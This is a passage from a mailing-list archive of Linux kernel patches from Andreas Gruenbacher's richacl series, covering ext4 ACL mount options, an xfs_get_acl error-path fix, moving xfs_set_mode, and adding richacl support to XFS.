-1607,7 +1608,8 @@ static inline int ext4_encrypted_inode(struct inode *inode) EXT4_FEATURE_INCOMPAT_FLEX_BG| \ EXT4_FEATURE_INCOMPAT_MMP | \ EXT4_FEATURE_INCOMPAT_INLINE_DATA | \ - EXT4_FEATURE_INCOMPAT_ENCRYPT) + EXT4_FEATURE_INCOMPAT_ENCRYPT | \ + EXT4_FEATURE_INCOMPAT_RICHACL) #define EXT4_FEATURE_RO_COMPAT_SUPP (EXT4_FEATURE_RO_COMPAT_SPARSE_SUPER| \ EXT4_FEATURE_RO_COMPAT_LARGE_FILE| \ EXT4_FEATURE_RO_COMPAT_GDT_CSUM| \ diff --git a/fs/ext4/super.c b/fs/ext4/super.c index a63c7b0..84d1a5d 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -1270,6 +1270,28 @@ static ext4_fsblk_t get_sb_block(void **data) return sb_block; } +static int enable_acl(struct super_block *sb) +{ + sb->s_flags &= ~(MS_POSIXACL | MS_RICHACL); + if (test_opt(sb, ACL)) { + if (EXT4_HAS_INCOMPAT_FEATURE(sb, + EXT4_FEATURE_INCOMPAT_RICHACL)) { +#ifdef CONFIG_EXT4_FS_RICHACL + sb->s_flags |= MS_RICHACL; +#else + return -EOPNOTSUPP; +#endif + } else { +#ifdef CONFIG_EXT4_FS_POSIX_ACL + sb->s_flags |= MS_POSIXACL; +#else + return -EOPNOTSUPP; +#endif + } + } + return 0; +} + #define DEFAULT_JOURNAL_IOPRIO (IOPRIO_PRIO_VALUE(IOPRIO_CLASS_BE, 3)) static char deprecated_msg[] = "Mount option \"%s\" will be removed by %s\n" "Contact linux-ext4@vger.kernel.org if you think we should keep it.\n"; @@ -1416,9 +1438,9 @@ static const struct mount_opts { MOPT_NO_EXT2 | MOPT_DATAJ}, {Opt_user_xattr, EXT4_MOUNT_XATTR_USER, MOPT_SET}, {Opt_nouser_xattr, EXT4_MOUNT_XATTR_USER, MOPT_CLEAR}, -#ifdef CONFIG_EXT4_FS_POSIX_ACL - {Opt_acl, EXT4_MOUNT_POSIX_ACL, MOPT_SET}, - {Opt_noacl, EXT4_MOUNT_POSIX_ACL, MOPT_CLEAR}, +#if defined(CONFIG_EXT4_FS_POSIX_ACL) || defined(CONFIG_EXT4_FS_RICHACL) + {Opt_acl, EXT4_MOUNT_ACL, MOPT_SET}, + {Opt_noacl, EXT4_MOUNT_ACL, MOPT_CLEAR}, #else {Opt_acl, 0, MOPT_NOSUPPORT}, {Opt_noacl, 0, MOPT_NOSUPPORT}, @@ -3576,8 +3598,8 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) set_opt(sb, NO_UID32); /* xattr user namespace & acls are now defaulted on */ set_opt(sb, XATTR_USER); -#ifdef CONFIG_EXT4_FS_POSIX_ACL - set_opt(sb, POSIX_ACL); +#if defined(CONFIG_EXT4_FS_POSIX_ACL) || defined(CONFIG_EXT4_FS_RICHACL) + set_opt(sb, ACL); #endif /* don't forget to enable journal_csum when metadata_csum is enabled. */ if (ext4_has_metadata_csum(sb)) @@ -3660,8 +3682,9 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) sb->s_iflags |= SB_I_CGROUPWB; } - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | - (test_opt(sb, POSIX_ACL) ? MS_POSIXACL : 0); + err = enable_acl(sb); + if (err) + goto failed_mount; if (le32_to_cpu(es->s_rev_level) == EXT4_GOOD_OLD_REV && (EXT4_HAS_COMPAT_FEATURE(sb, ~0U) || @@ -4981,8 +5004,9 @@ static int ext4_remount(struct super_block *sb, int *flags, char *data) if (sbi->s_mount_flags & EXT4_MF_FS_ABORTED) ext4_abort(sb, "Abort forced by user"); - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | - (test_opt(sb, POSIX_ACL) ? MS_POSIXACL : 0); + err = enable_acl(sb); + if (err) + goto restore_opts; es = sbi->s_es; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 65D267F8D for ; Fri, 16 Oct 2015 10:21:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0ED67AC001 for ; Fri, 16 Oct 2015 08:21:01 -0700 (PDT) X-ASG-Debug-ID: 1445008860-04bdf06db172bd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id YtIVxhsFZq4tZ92H (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:01 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id CF795345B4A; Fri, 16 Oct 2015 15:21:00 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc5011947; Fri, 16 Oct 2015 11:20:54 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 22/48] xfs: Fix error path in xfs_get_acl Date: Fri, 16 Oct 2015 17:18:00 +0200 X-ASG-Orig-Subj: [PATCH v11 22/48] xfs: Fix error path in xfs_get_acl Message-Id: <1445008706-15115-23-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008861 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Error codes from xfs_attr_get other than -ENOATTR were not properly reported. Fix that. In addition, the declaration of struct xfs_inode in xfs_acl.h isn't needed. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 1 + fs/xfs/xfs_acl.h | 1 - 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4b64167..e87fd3f 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -160,6 +160,7 @@ xfs_get_acl(struct inode *inode, int type) */ if (error == -ENOATTR) goto out_update_cache; + acl = ERR_PTR(error); goto out; } diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 3841b07..9ee0a0d 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -20,7 +20,6 @@ struct inode; struct posix_acl; -struct xfs_inode; #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 14DC97FBB for ; Fri, 16 Oct 2015 10:21:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F0F178F8066 for ; Fri, 16 Oct 2015 08:21:08 -0700 (PDT) X-ASG-Debug-ID: 1445008867-04cb6c3cee3a070001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AyzUhkB48RC6nHdD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:08 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 752808AE72; Fri, 16 Oct 2015 15:21:07 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc6011947; Fri, 16 Oct 2015 11:21:01 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 23/48] xfs: Make xfs_set_mode non-static Date: Fri, 16 Oct 2015 17:18:01 +0200 X-ASG-Orig-Subj: [PATCH v11 23/48] xfs: Make xfs_set_mode non-static Message-Id: <1445008706-15115-24-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008868 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Make xfs_set_mode non-static and move it from xfs_acl.c into xfs_inode.c. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 18 ------------------ fs/xfs/xfs_inode.c | 24 ++++++++++++++++++++++++ fs/xfs/xfs_inode.h | 2 ++ 3 files changed, 26 insertions(+), 18 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index e87fd3f..7b03383 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -232,24 +232,6 @@ __xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) } static int -xfs_set_mode(struct inode *inode, umode_t mode) -{ - int error = 0; - - if (mode != inode->i_mode) { - struct iattr iattr; - - iattr.ia_valid = ATTR_MODE | ATTR_CTIME; - iattr.ia_mode = mode; - iattr.ia_ctime = current_fs_time(inode->i_sb); - - error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); - } - - return error; -} - -static int xfs_acl_exists(struct inode *inode, unsigned char *name) { int len = XFS_ACL_MAX_SIZE(XFS_M(inode->i_sb)); diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..644fa04 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -3587,3 +3587,27 @@ xfs_iflush_int( corrupt_out: return -EFSCORRUPTED; } + +/* + * Set an inode's file mode. + * + * Called when updating an inode's file mode as part of setting an ACL only. + * The VFS goes through the setattr inode operation instead. + */ +int +xfs_set_mode(struct inode *inode, umode_t mode) +{ + int error = 0; + + if (mode != inode->i_mode) { + struct iattr iattr; + + iattr.ia_valid = ATTR_MODE | ATTR_CTIME; + iattr.ia_mode = mode; + iattr.ia_ctime = current_fs_time(inode->i_sb); + + error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); + } + + return error; +} diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index ca9e119..7b22db0 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -424,6 +424,8 @@ int xfs_dir_ialloc(struct xfs_trans **, struct xfs_inode *, umode_t, int xfs_droplink(struct xfs_trans *, struct xfs_inode *); int xfs_bumplink(struct xfs_trans *, struct xfs_inode *); +int xfs_set_mode(struct inode *, umode_t); + /* from xfs_file.c */ enum xfs_prealloc_flags { XFS_PREALLOC_SET = (1 << 1), -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6BEF87FAB for ; Fri, 16 Oct 2015 10:21:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EBAF7AC003 for ; Fri, 16 Oct 2015 08:21:18 -0700 (PDT) X-ASG-Debug-ID: 1445008874-04cbb035ab438b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gmtrow1rkBe3RyDQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:14 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 140DCA2C07; Fri, 16 Oct 2015 15:21:14 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc7011947; Fri, 16 Oct 2015 11:21:08 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 24/48] xfs: Add richacl support Date: Fri, 16 Oct 2015 17:18:02 +0200 X-ASG-Orig-Subj: [PATCH v11 24/48] xfs: Add richacl support Message-Id: <1445008706-15115-25-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008874 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The richacl feature flag (mkfs.xfs -m richacl=1) determines whether an xfs filesystem supports posix acls or richacls. Richacls are stored in "system.richacl" xattrs. On the grounds that richacls add relatively little overhead compared to the size of xfs itself, to keep the testing matrix small, and because xfs users are highly likely to enable richacls anyway, richacl support cannot be compiled out in xfs. Signed-off-by: Andreas Gruenbacher --- fs/xfs/Kconfig | 1 + fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_format.h | 11 ++++- fs/xfs/xfs_iops.c | 44 +++++++++++++++---- fs/xfs/xfs_richacl.c | 102 +++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_richacl.h | 23 ++++++++++ fs/xfs/xfs_super.c | 6 ++- fs/xfs/xfs_super.h | 4 ++ fs/xfs/xfs_xattr.c | 2 + 9 files changed, 183 insertions(+), 11 deletions(-) create mode 100644 fs/xfs/xfs_richacl.c create mode 100644 fs/xfs/xfs_richacl.h diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig index 5d47b4d..3fd00f8 100644 --- a/fs/xfs/Kconfig +++ b/fs/xfs/Kconfig @@ -4,6 +4,7 @@ config XFS_FS depends on (64BIT || LBDAF) select EXPORTFS select LIBCRC32C + select FS_RICHACL help XFS is a high performance journaling filesystem which originated on the SGI IRIX platform. It is completely multi-threaded, can diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index a096841..1e6b984 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -84,6 +84,7 @@ xfs-y += xfs_aops.o \ xfs_message.o \ xfs_mount.o \ xfs_mru_cache.o \ + xfs_richacl.o \ xfs_super.o \ xfs_symlink.o \ xfs_sysfs.o \ diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..923247c 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -461,10 +461,13 @@ xfs_sb_has_ro_compat_feature( #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ + #define XFS_SB_FEAT_INCOMPAT_ALL \ (XFS_SB_FEAT_INCOMPAT_FTYPE| \ XFS_SB_FEAT_INCOMPAT_SPINODES| \ - XFS_SB_FEAT_INCOMPAT_META_UUID) + XFS_SB_FEAT_INCOMPAT_META_UUID| \ + XFS_SB_FEAT_INCOMPAT_RICHACL) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool @@ -530,6 +533,12 @@ static inline bool xfs_sb_version_hasmetauuid(struct xfs_sb *sbp) (sbp->sb_features_incompat & XFS_SB_FEAT_INCOMPAT_META_UUID); } +static inline bool xfs_sb_version_hasrichacl(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_incompat & XFS_SB_FEAT_INCOMPAT_RICHACL); +} + /* * end of superblock version macros */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..9e4103b 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -27,6 +27,7 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_acl.h" +#include "xfs_richacl.h" #include "xfs_quota.h" #include "xfs_error.h" #include "xfs_attr.h" @@ -42,6 +43,7 @@ #include #include #include +#include #include #include #include @@ -133,7 +135,8 @@ xfs_generic_create( { struct inode *inode; struct xfs_inode *ip = NULL; - struct posix_acl *default_acl, *acl; + struct posix_acl *default_acl = NULL, *acl = NULL; + struct richacl *richacl = NULL; struct xfs_name name; int error; @@ -149,9 +152,15 @@ xfs_generic_create( rdev = 0; } - error = posix_acl_create(dir, &mode, &default_acl, &acl); - if (error) - return error; + if (IS_RICHACL(dir)) { + richacl = richacl_create(&mode, dir); + if (IS_ERR(richacl)) + return PTR_ERR(richacl); + } else { + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + return error; + } if (!tmpfile) { xfs_dentry_to_name(&name, dentry, mode); @@ -180,6 +189,11 @@ xfs_generic_create( goto out_cleanup_inode; } #endif + if (richacl) { + error = xfs_set_richacl(inode, richacl); + if (error) + goto out_cleanup_inode; + } if (tmpfile) d_tmpfile(dentry, inode); @@ -189,10 +203,9 @@ xfs_generic_create( xfs_finish_inode_setup(ip); out_free_acl: - if (default_acl) - posix_acl_release(default_acl); - if (acl) - posix_acl_release(acl); + posix_acl_release(default_acl); + posix_acl_release(acl); + richacl_put(richacl); return error; out_cleanup_inode: @@ -534,6 +547,13 @@ xfs_setattr_time( } } +static inline int +xfs_acl_chmod(struct inode *inode, umode_t mode) +{ + if (IS_RICHACL(inode)) + return richacl_chmod(inode, inode->i_mode); + return posix_acl_chmod(inode, inode->i_mode); +} int xfs_setattr_nonsize( struct xfs_inode *ip, @@ -722,7 +742,7 @@ xfs_setattr_nonsize( * Posix ACL code seems to care about this issue either. */ if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { - error = posix_acl_chmod(inode, inode->i_mode); + error = xfs_acl_chmod(inode, inode->i_mode); if (error) return error; } @@ -1104,6 +1124,8 @@ xfs_vn_tmpfile( static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1132,6 +1154,8 @@ static const struct inode_operations xfs_dir_inode_operations = { .rename2 = xfs_vn_rename, .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1160,6 +1184,8 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .rename2 = xfs_vn_rename, .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, diff --git a/fs/xfs/xfs_richacl.c b/fs/xfs/xfs_richacl.c new file mode 100644 index 0000000..73c2d24 --- /dev/null +++ b/fs/xfs/xfs_richacl.c @@ -0,0 +1,102 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Author: Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#include "xfs.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_inode.h" +#include "xfs_attr.h" + +#include + +struct richacl * +xfs_get_richacl(struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + struct richacl *acl = NULL; + int size = XATTR_SIZE_MAX; + void *value; + int error; + + value = kmem_zalloc_large(size, KM_SLEEP); + if (!value) + return ERR_PTR(-ENOMEM); + + error = xfs_attr_get(ip, XATTR_NAME_RICHACL, value, &size, ATTR_ROOT); + if (error) { + /* + * If the attribute doesn't exist make sure we have a negative + * cache entry, for any other error assume it is transient and + * leave the cache entry as ACL_NOT_CACHED. + */ + if (error != -ENOATTR) + acl = ERR_PTR(error); + } else + acl = richacl_from_xattr(&init_user_ns, value, size); + + if (!IS_ERR(acl)) + set_cached_richacl(inode, acl); + kfree(value); + + return acl; +} + +static int +xfs_remove_richacl(struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + int error; + + error = xfs_attr_remove(ip, XATTR_NAME_RICHACL, ATTR_ROOT); + if (error == -ENOATTR) + error = 0; + if (!error) + set_cached_richacl(inode, NULL); + return error; +} + +int +xfs_set_richacl(struct inode *inode, struct richacl *acl) +{ + struct xfs_inode *ip = XFS_I(inode); + umode_t mode = inode->i_mode; + int error, size; + void *value; + + if (!acl) + return xfs_remove_richacl(inode); + + if (richacl_equiv_mode(acl, &mode) == 0) { + xfs_set_mode(inode, mode); + return xfs_remove_richacl(inode); + } + + size = richacl_xattr_size(acl); + value = kmem_zalloc_large(size, KM_SLEEP); + if (!value) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, value, size); + error = xfs_attr_set(ip, XATTR_NAME_RICHACL, value, size, + ATTR_ROOT); + kfree(value); + if (error) + return error; + + mode &= ~S_IRWXUGO; + mode |= richacl_masks_to_mode(acl); + xfs_set_mode(inode, mode); + set_cached_richacl(inode, acl); + + return 0; +} diff --git a/fs/xfs/xfs_richacl.h b/fs/xfs/xfs_richacl.h new file mode 100644 index 0000000..431aa25 --- /dev/null +++ b/fs/xfs/xfs_richacl.h @@ -0,0 +1,23 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Author: Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#ifndef __FS_XFS_RICHACL_H +#define __FS_XFS_RICHACL_H + +struct richacl; + +extern struct richacl *xfs_get_richacl(struct inode *); +extern int xfs_set_richacl(struct inode *, struct richacl *); + +#endif /* __FS_XFS_RICHACL_H */ diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 904f637..f82ce1a 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1500,7 +1500,11 @@ xfs_fs_fill_super( sb->s_maxbytes = xfs_max_file_offset(sb->s_blocksize_bits); sb->s_max_links = XFS_MAXLINK; sb->s_time_gran = 1; - set_posix_acl_flag(sb); + + if (xfs_sb_version_hasrichacl(&mp->m_sb)) + set_richacl_flag(sb); + else + set_posix_acl_flag(sb); /* version 5 superblocks support inode version counters. */ if (XFS_SB_VERSION_NUM(&mp->m_sb) == XFS_SB_VERSION_5) diff --git a/fs/xfs/xfs_super.h b/fs/xfs/xfs_super.h index 499058f..7ae21d9 100644 --- a/fs/xfs/xfs_super.h +++ b/fs/xfs/xfs_super.h @@ -36,6 +36,9 @@ extern void xfs_qm_exit(void); # define set_posix_acl_flag(sb) do { } while (0) #endif +# define XFS_RICHACL_STRING "Richacls, " +# define set_richacl_flag(sb) ((sb)->s_flags |= MS_RICHACL) + #define XFS_SECURITY_STRING "security attributes, " #ifdef CONFIG_XFS_RT @@ -52,6 +55,7 @@ extern void xfs_qm_exit(void); #define XFS_VERSION_STRING "SGI XFS" #define XFS_BUILD_OPTIONS XFS_ACL_STRING \ + XFS_RICHACL_STRING \ XFS_SECURITY_STRING \ XFS_REALTIME_STRING \ XFS_DBG_STRING /* DBG must be last */ diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..62dc913 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -28,6 +28,7 @@ #include "xfs_acl.h" #include +#include #include @@ -103,6 +104,7 @@ const struct xattr_handler *xfs_xattr_handlers[] = { &posix_acl_access_xattr_handler, &posix_acl_default_xattr_handler, #endif + &richacl_xattr_handler, NULL }; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 696117FE6 for ; Fri, 16 Oct 2015 10:21:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 071FAAC004 for ; Fri, 16 Oct 2015 08:21:22 -0700 (PDT) X-ASG-Debug-ID: 1445008881-04bdf06db172c00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id osWseTz6oM7trjvv (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:21 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id B50953307AA; Fri, 16 Oct 2015 15:21:20 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc8011947; Fri, 16 Oct 2015 11:21:14 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, 